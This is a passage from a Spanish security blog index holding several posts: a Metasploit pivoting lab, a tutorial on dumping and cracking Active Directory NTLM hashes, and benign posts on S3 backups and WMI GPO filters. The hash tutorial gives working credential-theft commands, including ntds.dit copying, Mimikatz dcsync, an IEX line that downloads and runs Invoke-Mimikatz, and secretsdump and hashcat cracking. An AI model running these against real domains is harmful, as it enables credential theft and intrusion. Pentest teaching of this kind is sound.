directa hacia las redes agregadas. Con el módulo post Autoroute se pueden descubrir y agregar rutas de red de forma automática de una sesión previamente establecida. portfwd Es necesario tener una sesión establecida. No pueden agregar direcciones completas de red, solo se crean reglas de port forwarding hacia una IP/Puerto específico. Se pueden usar otras herramientas fuera de Metasploit a nivel local de la propia máquina Kali IP/Puerto locales estarán a la escucha. Dentro de Metasploit se pueden usar módulos hacia la IP/Puerto de la regla creada, la IP/Puerto será interpretado de forma local desde la propia máquina Kali. PortProxy (Windows) Link to heading El uso del módulo post PortProxy de Metasploit en el que podemos realizar un port forwarding dirigido a una máquina y puerto remoto concretos pero esta vez a nivel de máquinas Windows. El funcionamiento es muy similar al comando portfwd de Metasploit. Este módulo hace uso del comando netsh con el parámetro portproxy, para usar este comando es necesario que el usuario tenga privilegios administrativos sobre el sistema. Más info: https://www.zonasystem.com/2019/02/netsh-portproxy-port-forwarding-local-windows.html. Diagrama de red: Lab 2 - PortProxy Link to heading Similar al ejemplo del lab 1, en el siguiente escenario se mostrará un entorno formado por tres máquinas: Kali: 10.0.0.1/24. (Máquina A) Windows 7: 10.0.0.7/24 y 11.0.0.7/24. (Máquina B) Windows 10: 11.0.0.10/24. (Máquina C) Figura 13: Escenario 2 de Pivoting, diagrama de redes (portproxy). Para el uso de este módulo será necesario establecer una sesión Meterpreter y tener privilegios de SYSTEM sobre esa sesión en una máquina Windows que tenga acceso a otras redes fuera de Metasploit (máquina B Windows 7). Listaremos las redes disponibles consultando la tabla de rutas de la máquina en la que tenemos establecida la sesión con el comando route o también con ipconfig. Figura 14: Listando tabla de rutas de red disponibles en una máquina Windows dentro de una sesión Meterpreter. En la máquina B Windows 10 vemos que pertenece a la red 11.0.0.0/24 y ofrece un servicio web por el puerto 80. Figura 15: Configuración de red y servicio web disponible en la máquina B (Windows 10). Desde la máquina B en la cual tenemos una sesión Meterpreter establecida configuramos el módulo portproxy para esa sesión. use post/windows/manage/portproxy CONNECT_ADDRESS: IP remota de la máquina C a la que queremos acceder desde la máquina B. CONNECT_PORT: Puerto remoto de la máquina C al que queremos acceder desde la máquina B. LOCAL_ADDRESS: IP local de la máquina B (0.0.0.0 sería válido para cualquier interface local, desde la cual tenemos acceso por red desde la máquina A) y que esta reenviará a la máquina C. LOCAL_PORT: Puerto local de la máquina B desde el cual se hará la petición a la máquina C. Desde la máquina A haremos la petición al IP/Puerto de la máquina B en la cual si tenemos acceso. Una vez configurado el módulo lo lanzamos y comprobamos que en este caso consultando la IP en la que sí tenemos acceso a la máquina B 10.0.0.7 hacia el puerto 4441 nos devuelve la web de la máquina C. Desde la máquina C las peticiones de red hacia este servicio web se visualizan como si las realizase la máquina B y no la máquina A que es realmente desde donde lanzamos inicialmente la petición. Figura 16: Uso del módulo portproxy para sesiones Windows en Metasploit. De forma subyacente lo que hace este módulo es incluir esta regla de reenvío en la máquina B que es la que hará pivoting a la máquina C desde las peticiones que reciba desde la máquina A. Podemos comprobarlo listando las reglas y un ejemplo de la parametrización de reenvío sería algo como: netsh interface portproxy show all netsh interface portproxy add \u0026lt;tipo_de_forwading\u0026gt; listenaddress=\u0026lt;ip_local_escucha\u0026gt; listenport=\u0026lt;puerto_local_escucha\u0026gt; connectaddress=\u0026lt;ip_remota\u0026gt; connectport=\u0026lt;puerto_remoto\u0026gt; netsh interface portproxy add v4tov4 listenaddress=11.0.0.10 listenport=80 connectaddress=0.0.0.0 connectport=4441 Mismo ejemplo con: portfwd Link to heading Podemos comprobar también el mismo efecto usando el comando portfwd interno de Meterpreter estableciéndolo en la sesión de la máquina B como vimos anteriormente en el Lab 1. Al tratarse de una regla a nivel de la máquina A, reenviando la petición por la sesión de Metasploit que corresponde a la máquina B la consulta sería desde localhost de la máquina A al puerto que estableciésemos en este caso el 9001. Figura 17: Ejemplo Lab 2 con portfwd. Mismo ejemplo con: route Link to heading Comprobamos el mismo uso con route. El cual lo podríamos usar para realizar fingerprinting a la máquina C a través de módulos tipo scanner. Añadimos la ruta de red desde Metasploit (máquina A) y esta se encaminará a través de la sesión de la máquina B. Realizamos por ejemplo un escaneo de puertos abiertos y comprobación de versión del servicio web. Figura 18: Ejemplo Lab 2 con route. Saludos! "},{"title":"Password cracking de hashes NTLM (ntds.dit) en Active Directory","url":"/posts/password-cracking-windows-ntlm-ntds-dit-active-directory/","summary":"Antes de empezar con la parte práctica de password cracking en sistemas Windows, es recomendable un breve resumen sobre las diferencias entre los tipos de hashes de contraseñas (LM, NTHash o NTLM, …","tags":["Pentesting","Post-Explotación","Active Directory","NTLM","Hashes","Cracking","Fuerza bruta","MITRE ATT\u0026CK","Hashcat"],"date":"2019-11-16","content":"Antes de empezar con la parte práctica de password cracking en sistemas Windows, es recomendable un breve resumen sobre las diferencias entre los tipos de hashes de contraseñas (LM, NTHash o NTLM, NTLMv1, NTLMv2) que almacena Windows en su base de datos local SAM (Security Account Manager) o NTDS.DIT (NT Directory Services) si se trata de controladores de dominio de Active Directory. Existen dos medios de los cuales se puede realizar la extracción de hashes: Desde un volcado de memoria en caliente. Por ejemplo Mimikatz, Hot Potato o CrackMapExec (con el parámetro \u0026ndash;lsa). Este método no es válido a partir de Windows Server 2016 ya que se implementa la característica de Credential Guard basada en virtualización para LSASS. Sin embargo sigue siendo válido para versiones clientes hasta la actual Windows 10. Desde un volcado de un fichero de disco como son: La base de datos SAM (%systemroot%\\system32\\config) en Windows de forma local como NTDS.dit (%systemroot%\\NTDS) en el caso de un controlador de dominio de Active Directory, como veremos en esta entrada. LM Hash (Lan Manager) Link to heading Usado en sistemas Windows 2000/2003 aunque por retrocompatiblidad pueden ser usados en versiones posteriores de Windows. LM es débil e inseguro por diseño, teniendo en cuenta la velocidad de cómputo de los sistemas actuales, son capaces de probar cientos de miles de contraseñas por segundo por lo que su cifrado lo hace totalmente vulnerable en ataques de fuerza bruta. Su algoritmo convierte todo de minúsculas a mayúsculas (uppercase) haciendo así un ataque enfocado a este tipo de caracteres, reduciendo las posibles combinaciones y el tiempo de cálculo. Si la contraseña es inferior a 7 caracteres se rellena con caracteres NULOS. Y las contraseñas no pueden ser superiores a 14 caracteres. Si la contraseña tiene más de 7 caracteres se divide en dos bloques, en el supuesto de utilizar una contraseña de 10 caracteres el ataque de fuerza bruta se realizará para un primer bloque de 7 y otro para un segundo bloque de 3 caracteres restantes, ambos bloques tienen el mismo espacio y en el caso del segundo, ya sea 1 solo carácter o 7 ocuparía el mismo espacio del hash. Si se utilizara una contraseña de 14 caracteres en vez de elevar exponencialmente el tiempo de ataque, simplemente se tardaría el doble de tiempo, por lo que daría igual usar una contraseña con una de 7 caracteres como una de 14 que sería la longitud máxima soportada para el almacenamiento de hashes LM. Ejemplo de LM Hash: \u0026lt;35ABD1B8C5128FC8\u0026gt;\u0026lt;6ABCF57855D56AC9\u0026gt;. Sin los signos \u0026lt;\u0026gt;. Simplemente se representó así para mostrar lo que sería un primer y segundo bloque del hash LM. Más información sobre LM Hash (Lan Manager): https://en.wikipedia.org/wiki/LAN_Manager#LM_hash_details NT Hash o NTLM (New Technology Lan Manager) Link to heading A partir de sistemas Windows 2008/Vista se usa por defecto NTLM (aunque por compatibilidad se puede seguir haciendo uso de LM). NTLM Es la mejora de cifrado respecto a LM. NTLM diferencia entre mayúsculas y minúsculas, calcula el hash cifrando con el estándar MD4. Pero por defecto sigue almacenando las contraseñas cifradas en LM y NTLM en la misma base de datos del fichero SAM que se encuentra en el path C:\\Windows\\System32\\config\\SAM. Almacenamiento sin salt (igual que LM). Contraseñas más de 14 caracteres. Crackeables: RT Rainbow Tables (no salt) y BF Brute Force en función del tamaño (más de 5 caracteres RT). Ophcrack (distro Linux) mediante RT. Ejemplo de NT Hash (NTLM): 4B6A9B02C6F09P9BD265F388BA951E2B Actualmente existen varias versiones mejoradas del protocolo de autenticación desafío-respuesta. NTLMv1 y NTLMv2: https://en.wikipedia.org/wiki/NT_LAN_Manager#NTLMv1 Opciones de ejecución de código remoto Link to heading Hay varias formas diferentes de ejecutar comandos de forma remota en un controlador de dominio, suponiendo que se ejecuten con los derechos adecuados. Los métodos de ejecución remota más fiables incluyen PowerShell (aprovecha WinRM) o WMI. WMI wmic /node:COMPUTER/user:DOMAIN\\USER /password:PASSWORD process call create \u0026#34;COMMAND\u0026#34; PowerShell (WMI) Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $COMMAND -ComputerName $COMPUTER -Credential $CRED WinRM winrs -r:COMPUTER COMMAND PowerShell Remoto Invoke-Command -computername $COMPUTER -command {$COMMAND} New-PSSession -Name PSCOMPUTER -ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER 1. Extraer los ficheros ntds.dit y SYSTEM de un controlador de dominio Link to heading Después de una post-explotación, conseguir acceso a un sistema y una escalada de privilegios. Podemos realizar un dump de los hashes NTLM a partir del fichero ntds.dit. Este fichero es la base de datos encargada de almacenar los hashes de las contraseñas de usuarios de Active Directory. El primer paso para la extracción de hashes de contraseñas de usuarios de Active Directory, es obtener una copia del archivo ntds.dit. El problema es que no podemos copiar este fichero sin más, ya que está constantemente en uso y bloqueado por AD. Figura 1: Error al copiar el archivo en uso ntds.dit de un controlador de dominio. Para volcar y/o copiar el fichero ntds.dit podemos usar cualquiera de estos métodos. Servicio VSS: Volume Shadow Copies a través del comando VSSAdmin. IFM (Install From Media) de NTDSUTIL. Invoke-NinjaCopy - módulo PowerSploit. Mimikatz lsa y dcsyn (volcado de memoria de credenciales, no copia ficheros). Invoke-Mimikatz - módulo PowerSploit (volcado de memoria de credenciales, no copia ficheros). CrackMapExec. Método 1: Servicio VSS - Volume Shadow Copy: Usando el comando VSSAdmin Link to heading El servicio VSS (Volume Shadow Copy) o servicio de instantáneas de volumen de Windows es el encargado de crear backups a modo de instantáneas temporales. Se puede usar el comando vssadmin para la gestión de este servicio de instantáneas. De modo que después se puedan copiar de un volumen de instantánea en el que no estará constantemente en uso por AD. Crear un volumen de instantánea del disco C: vssadmin create shadow /for=C: copy \u0026lt;Nombre_Volumen_Instantanea\u0026gt;\\Windows\\System32\\config\\SYSTEM C:\\export\\SYSTEM copy \u0026lt;Nombre_Volumen_Instantanea\u0026gt;\\Windows\\NTDS\\ntds.dit C:\\export\\ntds.dit Eliminar el volumen de la instantánea del disco C: vssadmin list shadows vssadmin delete shadows /shadow={Id_Instantanea} Figura 2: Copiar los ficheros en uso ntds.dit y SYSTEM con VSSAdmin de un controlador de dominio. Método 2: IFM (Install From Media) de NTDSUTIL Link to heading El método IFM (Install From Media) usa los datos en los medios de instalación para instalar AD DS, lo que elimina la necesidad de replicar todos los objetos de un controlador de dominio asociado. NTDSUtil es la utilidad de comandos para trabajar de forma nativa con la BD de AD (ntds.dit) y permite la creación de conjuntos IFM para DCPromo. IFM se utiliza con DCPromo para \u0026ldquo;Instalar desde los medios\u0026rdquo;, de modo que el servidor que se promueve no necesita copiar los datos del dominio a través de la red desde otro DC. Al crear un IFM, se toma una instantánea de VSS, se monta y el archivo ntds.dit y los datos asociados se copian en la carpeta de destino (c:\\temp). ntdsutil.exe \u0026#39;ac i ntds\u0026#39; \u0026#39;ifm\u0026#39; \u0026#39;create full c:\\temp\u0026#39; q q Figura 3: Usando IFM de ntdsutil para exportar ntds.dit y SYSTEM de un controlador de dominio. Método 3: Invoke-NinjaCopy - módulo PowerSploit Link to heading Otra forma de copiar archivos en uso por el sistema o en este caso Active Directory es usar el cmdlet Invoke-NinjaCopy incluido en el módulo PowerSploit, este copia un archivo de un volumen NTFS sin procesar, es otra forma de copiar archivos bloqueados por Active Directory sin alertar a ningún sistema de monitoreo. Instalar el módulo PowerSploit: Descargamos el módulo Copiamos el directorio en una de las rutas por defecto donde se almacenan los módulos de PowerShell. Podemos consultar los paths listando la variable de entorno: $Env:PSModulePath. Importamos el módulo: Import-Module PowerSploit. Para obtener todos los cmdlets disponibles: Get-Command -Module PowerSploit. Invoke-NinjaCopy -path C:\\Windows\\NTDS\\ntds.dit -Verbose -LocalDestination C:\\export\\ntds\\ntds.dit Figura 4: Copiar el fichero ntds.dit con Invoke-NinjaCopy de un controlador de dominio. Método 4: Mimikatz lsa y dcsync (solo volcado de memoria de los hashes de credenciales) Link to heading Este método no realiza una copia de los ficheros ntds.dit y SYSTEM. Solamente realiza un volcado de memoria si alguno de los usuarios ha iniciado sesión en el equipo o controlador de dominio. Usando LSASS (Local Security Authority Subsystem Service): mimikatz lsadump::lsa /inject exit Figura 5: Mimikatz - Volcado de memoria usando lsass. Usando dcsync: Mimikatz \u0026#34;privilege::debug\u0026#34; \u0026#34;lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator\u0026#34; exit Figura 6: Mimikatz - Volcado de memoria de un usuario usando dcsync. Método 5: Invoke-Mimikatz - módulo PowerSploit (solo volcado de memoria de los hashes de credenciales) Link to heading Invoke-Mimikatz es un componente de PowerSploit. Aprovecha Mimikatz 2.0 e Invoke-ReflectivePEInjection para cargar reflexivamente la DLL de Mimikatz (incluida en el script) en la memoria. Esto permite volcar credenciales sin tener que escribir el binario de Mimikatz en el disco. Descargar e importar la función en memoria de la instancia actual de PowerShell. IEX (Invoke-WebRequest -Uri \u0026#39;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1\u0026#39; -UseBasicParsing).Content Ejecutar Invoke-Mimikatz usando LSASS. Invoke-Mimikatz -Command \u0026#39;\u0026#34;privilege::debug\u0026#34; \u0026#34;LSADump::LSA /inject\u0026#34; exit\u0026#39; Ejecutar en un equipo remoto (PowerShell remoto debe estar permitido y configurado): Invoke-Mimikatz -Command \u0026#39;\u0026#34;privilege::debug\u0026#34; \u0026#34;LSADump:LSA /inject\u0026#34;\u0026#39; -Computer DC01.domain.local Método 6: CrackMapExec Link to heading Otra alternativa es hacer uso de CrackMapExec. En este caso debemos tener las credenciales de una cuenta privilegiada local o de dominio sobre el DC. Dependiendo del parámetro que indiquemos disponemos de varias opciones de volcado de hashes ya sea una lectura en memoria o copiando el contenido del fichero ntds.dit a una máquina remota que en este caso será una Kali. El parámetro que nos interesa a nivel de dominio sería el \u0026ndash;ntds que se muestra en la figura 9. Pero mostraré las alternativas para un uso local como el volcado de la SAM (Security Account Manager). Obteniendo hashes desde un volcado de memoria leyendo lsass.exe (parámetro \u0026ndash;lsa). crackmapexec smb IP_DC -u \u0026#39;Dominio\\UserAdmin\u0026#39; -p \u0026#39;PASSWORD\u0026#39; --lsa Figura 7: Volcado de memoria con CrackMapExec \u0026ndash;lsa. Obteniendo la base de datos local SAM (parámetro \u0026ndash;sam). crackmapexec smb IP_DC -u \u0026#39;Dominio\\UserAdmin\u0026#39; -p \u0026#39;PASSWORD\u0026#39; --sam Figura 8: Volcando de memoria con CrackMapExec \u0026ndash;sam. Obteniendo los hashes de todas las cuentas de dominio Active Directory desde el fichero ntds.dit (parámetro \u0026ndash;ntds). crackmapexec smb IP_DC -u \u0026#39;Dominio\\UserAdmin\u0026#39; -p \u0026#39;PASSWORD\u0026#39; --ntds Figura 9: Volcado del fichero ntds.dit de un controlador de dominio. 2. Volcado de hashes NTLM del fichero ntds.dit Link to heading Podemos volcar los hashes NTLM del fichero ntds.dit de dos formas: A través de los cmdlets Get-BootKey y Get-ADDBAccount que forman parte del módulo DSInternals. A través del script en Python Impacket-secretsdump (secretsdump.py). Método 1: Módulo DSInternals - Usando los cmdlets Get-BootKey y Get-ADDBAccount Link to heading Instalar módulo DSInternals. Install-Module -Name DSInternals -Force Import-Module -Name DSInternals Import-Module -Name ActiveDirectory Get-BootKey lee la clave de registro de Windows del sistema de arranque SYSTEM del registro de Windows HKEY_LOCAL_MACHINE\\SYSTEM`` o también puede hacerse referenciando el propio fichero SYSTEM %systemroot%\\System32\\config\\SYSTEM`. Podemos exportar la clave de registro o copiar el fichero SYSTEM a un directorio en el que no esté en uso con alguna de las técnicas mencionadas anteriormente en el apartado 1. Para poder volcar los hashes NTLM de los usuarios de AD y leerlos en plain-text del fichero ntds.dit. Obtenemos la clave de registro SYSTEM con Get-BootKey y se la pasamos con el parámetro -BootKey en Get-ADDBAccount. reg save hklm\\system C:\\export\\system $key = Get-BootKey -SystemHiveFilePath C:\\export\\system Get-ADDBAccount -All -BootKey $key -DBPath C:\\export\\ntds.dit Es probable que al intentar leer el fichero ntds.dit se muestre el error The database is not in a clean state. Hacemos uso de la utilidad de comandos esentutl para reparar la base de datos de Active Directory. esentutl /p C:\\export\\ntds.dit /!10240 /8 /o A continuación volvemos a ejecutar Get-ADDBAccount. Figura 10: Get-ADDBAccount - Obtener información de las cuentas de usuarios de AD. Podemos simplificar la información de salida de las cuentas de usuarios de AD redireccionándola a un fichero y obtener los hashes de contraseñas asociados a los nombres de las cuentas de AD que se corresponde al atributo -SamAccountName-. Get-ADDBAccount -All -BootKey $key -DBPath C:\\export\\ntds.dit \u0026gt; C:\\export\\hashes_tmp.txt Select-String -Path C:\\export\\hashes_tmp.txt -Pattern \u0026#39;(NTHash)|(SamAccountName:)\u0026#39; \u0026gt; C:\\export\\hashes.txt Remove-Item C:\\export\\hashes_tmp.txt Figura 11: Recopilación de hashes NTLM del fichero ntds.dit de las cuentas de usuarios de AD. Método 2: Kali - Impacket-secretsdump (script en Python -secretsdump.py-) Link to heading Otra forma de realizar el volcado de hashes NTLM del fichero ntds.dit es usar un script en Python llamado secretsdump.py. Este se integra en uno de los módulos auxiliary de escaneo Impacket-secretsdump de Metasploit. En este caso al usar el fichero de ntds.dit de forma local ejecutamos Impacket-secretsdump desde el path /usr/share/impacket en una terminal de Kali. impacket-secretsdump -system /root/hashes/SYSTEM -ntds /root/hashes/ntds.dit LOCAL -outputfile /root/hashes/hashes.txt Figura 12: Volcado de hashes NTLM del fichero ntds.dit con Impacket-secretsdump. Método 3: Nishang Framework - Get-PassHashes.ps1 (script en PowerShell) Link to heading También se puede realizar un volcado de hashes con uno de los script del framework de Nishang Get-PassHashes.ps1. Nishang es un framework muy potente para PowerShell que contiene multitud de scripts para escaneo, gathering, escalada de privilegios, pivoting, etc. Figura 13: Nishang Framework - Volcado de hashes NTLM con Get-PassHashes.ps1. 3. Cracking con Hashcat y John The Ripper: Descifrado de hashes NTLM para obtener las contraseñas de usuarios de AD Link to heading Podemos descifrar hashes utilizando tres posibles técnicas. Ataque por fuerza bruta (Brute-force attack). Ataque por diccionarios o Wordlist. Ataque por Rainbow tables. Hashcat Link to heading En este caso como prueba de concepto se empleará un ataque por diccionario usando la herramienta Hashcat. Integrada en Kali (/usr/bin/hashcat). Una vez redireccionamos la salida de los hashes a un fichero solamente quedaría descifrar dichos hashes para obtener el valor de cadena en plain-text de las contraseñas de cuentas de usuarios de AD. hashcat -m 1000 /root/hashes/hashes.txt /root/breachcompilation.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force Donde breachcompilation.txt es el diccionario -fichero que contiene el wordlist- e InsidePro-PasswordsPro.rule será el tipo de regla utilizada para el proceso de password cracking. En la siguiente captura vemos como se muestra el hash:contraseña. De esta manera podemos relacionar el hash con el usuario al que se corresponde a través del fichero que se creó en el apartado 2 donde se mostraba el volcado de hashes NTLM. La estructura estándar sería tal como: \u0026lt;Nombre de usuario\u0026gt;:\u0026lt;ID de usuario\u0026gt;:\u0026lt;LM hash\u0026gt;:\u0026lt;NT hash\u0026gt;:\u0026lt;Comment\u0026gt;:\u0026lt;Home Dir\u0026gt;: Figura 14: Ataque por diccionario con Hashcat - Password cracking de hashes NTLM de Active Directory. John The Ripper Link to heading Otra opción es realizar el ataque por fuerza bruta o por diccionario con la herramienta John The Ripper. Integrada en Kali (/usr/sbin/john). Obtener la lista de los formatos disponibles. john --list=formats Siguiendo el ejemplo anterior usado en Hashcat. Para un tipo de formato de hashes NTLM (\u0026ndash;format=NT) usando un diccionario. john --format=NT /root/hashes/hashes.txt --wordlist=/root/breachcompilation.txt --rules Si se descifran contraseñas, se almacenan en $JOHN/john.pot. El archivo john.pot no es leído en un formato en claro. Para leer este fichero se debe usar el parámetro \u0026ndash;show seguido del fichero donde están almacenados los hashes. john --show --format=NT /root/hashes/hashes.txt Figura 15: Ataque por diccionario con John The Ripper - Password cracking de hashes NTLM de Active Directory. Podemos seguir el avance a tiempo real del proceso de cracking consultando el fichero $JOHN/john.log. tail -f .john/john.log Figura 16: Consultar el log de John para ver a tiempo real el proceso de cracking. 4. Hash cracking Online: Comprobar si los hashes NTLM ya son conocidos en bases de datos de Internet Link to heading Otra forma de realizar el cracking de passwords una vez conocemos los hashes NTLM. Sería consultar a través de varios sitios web disponibles en internet si el hash que tienen en las wordlist de estas webs hace match con el que se le referencia, si así directamente nos dará como resultado la cadena de password encontrada. Existen multitud de webs para realizar estas comprobaciones como por ejemplo: https://hashkiller.co.uk/Cracker/NTLM https://md5decrypt.net/en/Ntlm/ https://cracker.offensive-security.com/ https://gpuhash.me/ https://www.onlinehashcrack.com/ (de pago para una mayor rapidez, dispone de la posibilidad de usar rainbow tables muy efectivas) https://crackstation.net Figura 17: Descifrar hashes NTLM comparándolos con hashes ya conocidos en sitios webs. 5. Comprueba si ya existe el hash de tu contraseña antes de usarla Link to heading Un motivo a tener en cuenta en el momento de crear contraseñas, es comprobar si el hash de la contraseña que utilizamos o vamos a utilizar ya es conocido y está público en internet. Si ya existe en alguna wordlist de los sitios webs comentados en el apartado 4. Obviamente podemos realizar esta comprobación en más sitios, las webs anteriores solo fueron un ejemplo. Algo que nos puede dar un poco más de confianza en la fortificación de nuestras passwords, sería comprobarlas previamente generando el hash NTLM a partir de tu contraseña. Lógicamente es un pequeño extra de seguridad, no lo hace ni mucho menos más seguro. Simplemente demorarías el tiempo de un ataque por diccionario a un atacante y la facilidad de obtener una contraseña. Algunas webs que podemos usar para la generación de hashes NTLM: https://codebeautify.org/ntlm-hash-generator https://www.browserling.com/tools/ntlm-hash https://www.ipvoid.com/ntlm-generator Figura 18: Generar hashes NTLM a partir de una contraseña. Saludos! "},{"title":"Backups locales a Amazon S3 con AWSCLI (PowerShell y Bash)","url":"/posts/backups-amazon-s3-awscli-powershell-bash/","summary":"Hace tiempo que vengo usando este método de realizar mis backups personales, aunque siendo correctos, por definición no se trata realmente del concepto de \u0026ldquo;Backups\u0026rdquo; sino de un sistema de …","tags":["Hardening","Backups","Cloud","PowerShell","Cron"],"date":"2019-09-28","content":"Hace tiempo que vengo usando este método de realizar mis backups personales, aunque siendo correctos, por definición no se trata realmente del concepto de \u0026ldquo;Backups\u0026rdquo; sino de un sistema de sincronización. Si usando el mismo método almacenara copias durante un periodo de tiempo determinado con una autoeliminación de los backups más viejos, es decir una política de retención donde haya la posibilidad de disponer de puntos de restauración dentro de las fechas establecidas en la política de retención, así como la posibilidad de almacenar un histórico de copias en frío en fechas más viejas. En ese caso si estaríamos aplicando el concepto de backup. Esta es una forma de sincronizar datos en dos sitios o ubicaciones distintas. Por un lado tenemos los datos locales que queremos salvaguardar y por otro un sitio cloud donde realizaremos la sincronización de dichos datos en un momento programado y definido previamente para que se realice después de manera automática. Se trata de scripts de PowerShell y Bash Shell Script, compatibles en entornos Windows, Linux y MacOS, para sincronizar datos locales a un bucket S3 (Simple Storage Service) de Amazon Web Services a través de la interfaz de línea de comandos de AWSCLI (serverless). Donde se realiza un push de datos locales a una ubicación remota en un bucket de almacenamiento de Amazon S3. En mi repositorio personal de Github comento en más detalle el procedimiento a seguir e iré actualizándolo con mejoras cuando proceda. https://github.com/adrianlois/Backup-AWS-Bucket-S3-Sync PowerShell Funciones específicas para montar y desmontar unidades externas USB donde se almacenarán las copias de Veeam Backup. Realizar compresiones 7zip cifrada de forma simétrica, usando adicionalmente un método de capas de ficheros comprimidos para almacenar la BBDD + key file de KeePassXC. Sincronizar con AWS CLI los datos locales con el objeto (carpeta/directorio) del bucket S3. Generar un fichero log de todo el proceso. Enviar el fichero de log vía Email. Enviar el fichero de log, contenido en formato de mensaje o ambas vía ChatBot de Telegram. Bash Shell Script Generar un fichero log de todo el proceso. Sincronizar los datos locales con el objeto (carpeta/directorio) del bucket S3 usando AWSCLI. Enviar el fichero de log vía Email desde el smtp de una cuenta de correo Gmail configurado en SSMTP. Saludos! "},{"title":"WMI Explorer: restricción con filtros WMI en GPO y querys en SCCM","url":"/posts/wmi-explorer-restriccion-filtros-wmi-gpo-querys-sccm/","summary":"Los filtros WMI (Instrumental de administración de Windows) en las Políticas de grupo (GPO) permiten aplicar políticas de manera más flexible a los clientes mediante el uso de diferentes reglas. Un …","tags":["Hardening","Blue Team","WMI","GPO","Active Directory"],"date":"2019-09-04","content":"Los filtros WMI (Instrumental de administración de Windows) en las Políticas de grupo (GPO) permiten aplicar políticas de manera más flexible a los clientes mediante el uso de diferentes reglas. Un filtro WMI es un conjunto de consultas WMI (se usa el lenguaje de consulta WMI/WQL) que se puede usar para apuntar a las máquinas a las que se debe aplicar una política de grupo específica. Por ejemplo, usando el filtro WMI GPO, puede aplicar una política vinculada a una OU solo a las máquinas que ejecutan Windows 10 (una política con dicho filtro WMI no se aplicará a las computadoras con otras versiones de Windows). ¿Para qué se utilizan los filtros WMI en las GPO? Link to heading WMI se puede usar cuando varios objetos de dominio (usuarios o equipos) se encuentran en la estructura AD plana en lugar de la unidad organizativa separada, o si se necesita aplicar políticas de grupo, de acuerdo con la versión del sistema operativo, configuración de red, software instalado o cualquier otro criterio que se pueda seleccionar usando WMI. Cuando el cliente procesa dicha política de grupo, Windows verificará el cumplimiento de la consulta WMI especificada, y si se cumplen las condiciones del filtro, la GPO se aplicará en esa máquina. Lo más habitual en el uso de filtros WMI es distinguir sistemas operativos. Para estos casos las consultas deben hacerse en base al tipo de producto y el tipo de versión del OS. Tipo de producto: ProductType 1 = Desktop OS ProductType 2 = Server OS - Solo Domain Controller ProductType 3 = Server OS - Excepto Domain Controller Versiones de sistema operativo: Windows Server 2019, Windows Server 2016 y Windows 10 = 10.% Windows Server 2012 R2 y Windows 8.1 = 6.3% Windows Server 2012 y Windows 8 = 6.2% Windows Server 2008 R2 y Windows 7 = 6.1% Windows Server 2008 y Windows Vista = 6.0% Windows Server 2003 = 5.2% Windows XP = 5.1% Windows 2000 = 5.0% Tipo de arquitectura: 32 bits = Win32_Processor where AddressWidth=\u0026ldquo;32\u0026rdquo; // OSArchitecture=\u0026ldquo;32-bit\u0026rdquo; 64 bits = Win32_Processor where AddressWidth=\u0026ldquo;64\u0026rdquo; // OSArchitecture=\u0026ldquo;64-bit\u0026rdquo; Algunos ejemplos de filtros WMI aplicados a GPOs: Windows 7 select * from Win32_OperatingSystem where Version like \u0026#34;6.1%\u0026#34; and ProductType=\u0026#34;1\u0026#34; Windows 10 select * from Win32_OperatingSystem where Version like \u0026#34;10.%\u0026#34; and ProductType=\u0026#34;1\u0026#34; Windows Server 2016 select * from Win32_OperatingSystem where Version like \u0026#34;10.0%\u0026#34; and ProductType=\u0026#34;3\u0026#34; Windows Server 2019 select * from Win32_OperatingSystem where BuildNumber \u0026gt;= 17763 and ProductType=\u0026#34;3\u0026#34; and OSArchitecture=\u0026#34;64-bit\u0026#34; Cualquier Windows Desktop OS de 32-bit select * from Win32_OperatingSystem where ProductType=\u0026#34;1\u0026#34; and not OSArchitecture=\u0026#34;64-bit\u0026#34; No ejecutar en Servidores Windows select ProductType from Win32_OperatingSystem where (ProductType \u0026lt;\u0026gt; \u0026#34;2\u0026#34;) and (ProductType \u0026lt;\u0026gt; \u0026#34;3\u0026#34;) En la siguiente imagen se puede ver un ejemplo de filtrado WMI de una sentencia WQL para consultar la versión de OS Windows 10. Figura 1: Creación de filtros WMI en la Group Policy Management Console. Después de crear el filtro WMI, elegimos el filtro WMI y lo aplicamos a una GPO existente. Figura 2: Aplicar filtro WMI a una GPO existente. WMI Explorer Tool y cómo nos puede ayudar a encontrar lo que buscamos para realizar Querys en SCCM. Link to heading Después de hacer una introducción a las restricciones en las políticas de grupo mediante filtros WMI. En esta entrada quería dar a conocer el potencial de WMI Explorer y cómo nos puede ayudar para encontrar los espacios de nombres, instancias, consultas, clases, propiedades, métodos, parámetros de entrada y de salida necesarios para construir sentencias específicas WQL. Aunque también disponemos de una zona de scripting para VBScript y Powershell. WMI Explorer permite también conectarse a equipos remotos de una red de dominio que tengan el servicio WMI habilitado y permisos para la administración y acceso remoto WMI control. En mi caso hice uso de esta herramienta para extraer los namespaces y propiedades WMI para consultas sobre el servicio DNS que posteriormente usé para realizar Querys en SCCM (System Center Configuration Manager). Un ejemplo del resultado de una consulta WQL conectándose a un equipo remoto del dominio. Figura 3: WMI Explorer - Ejemplo de consulta WQL en equipo remoto. Búsqueda en una máquina local de propiedades recursivamente con el criterio \u0026ldquo;DNS\u0026rdquo;. Figura 4: WMI Explorer - Búsqueda de clases, propiedades namespaces, etc. en base a un criterio de búsqueda. Métodos encontrados en una clase concreta, parámetros de entrada y parámetros de salida. Figura 5: WMI Explorer - Resultado de clases, métodos y parámetros. Ejecución de script VBScript o Powershell en texto o command prompt en referencia a la clase y métodos encontrados. Figura 6: WMI Explorer - Ejecución de scripting VBScript o Powershell en clases y métodos WMI. Conclusiones Link to heading Es una herramienta de la que se puede extraer mucha información y ayudarnos en la elaboración de consultas WQL y recolección de la información ordenada de una máquina local o remota. Ejemplo de uso: https://devblogs.microsoft.com/scripting/weekend-scripter-the-wmi-explorer-tool Saludos! "},{"title":"Compartir recursos con Samba sin auth entre Linux y Windows","url":"/posts/compartir-samba-sin-auth-linux-windows/","summary":"Para poder compartir recursos Samba desde Linux a Windows sin usar ningún login usuario/password de modo que sea un acceso invitado, debemos configurar una serie de directivas en el fichero de …","tags":["Hardening","SMB","CIFS","Redes","Permisos"],"date":"2019-08-26","content":"Para poder compartir recursos Samba desde Linux a Windows sin usar ningún login usuario/password de modo que sea un acceso invitado, debemos configurar una serie de directivas en el fichero de configuración de Samba. Configuración 